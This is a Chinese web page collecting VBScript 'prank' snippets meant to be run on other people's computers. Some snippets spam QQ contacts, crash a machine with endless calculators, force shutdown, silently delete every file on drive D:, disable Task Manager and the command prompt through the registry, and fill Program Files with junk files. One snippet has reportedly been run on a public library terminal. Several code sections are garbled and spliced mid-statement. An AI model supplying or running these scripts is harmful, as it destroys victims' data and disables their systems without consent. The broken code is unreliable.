VBS整人代码大合集

VBS 整人代码大合集VBS 整人代码大合集 一、你打开好友的聊天对话框,然后记下在你 QQ 里好友的昵称,把下面代码里的 xx 替换一下,就可以自定义发送 QQ 信息到好友的次数(代码里的数字 10 改一下即可). xx.vbs=> 复制代码 代码如下: On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("与 xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit QQ 骚扰信息,也可以用在其它程序上。 二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈 do msgbox "You are foolish!" loop 三、打开无数个计算器，直到死机 set wsh=createobject("wscript.shell") do wsh.run "calc" loop 四、直接关机 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown f s t 00",0 ,true 五、删除 D:\所有文件 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true 六、不断弹出窗口 复制代码 代码如下: while(1) msgbox "哈哈 你被耍了！" loop 七、不断按下 alt+f4 （开什么都关闭……） 复制代码 代码如下: dim WSHshell set WSHshell = wscript.createobject("wscript.shell") while(1) WSHshell.SendKeys "%{F4}" loop 八、按 500 次回车 (以上代码在运行者的电脑上显示 500 个对话框。其中 do until s=500 ，500 可以随意更改) 复制代码 代码如下: dim s do until s=500 s=s+1 msgbox "哥们，给我按 500 次回车吧",64 loop 九、关不掉的窗口 复制代码 代码如下: WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"wscript.exe") For Each id in pipe if instr(1,id.commandLine,wscript.scriptfullname)0 and pipe.count>=2 then s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD" s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD" id.terminate() else s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD" s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD" for i=1 to 60 s.popup"系统将在"声明变量，其中“count”为静态变量，以便生成不同的文件 Dim files As String Dim nr As String Dim c As String Static count As Long 定义要把生成的文件存放在那个目录文件下 c = "C:\Program Files\" 生成文件的内容 nr = "哈哈，被黑的感觉的不错吧" files = FreeFile 假如 a 等于 a 那么就执行 If a = a Then count 不断的加 1，以便产生不同的文件名 count = count + 1 产生文件名及文件句柄，并用 count 作为产生不同的文件名。 Open c 向文件写内容 Write #files, nr 清除文件句柄，这里很重要，假如不清除，将产生打开文件太多的错误提示 Close #files End If End Sub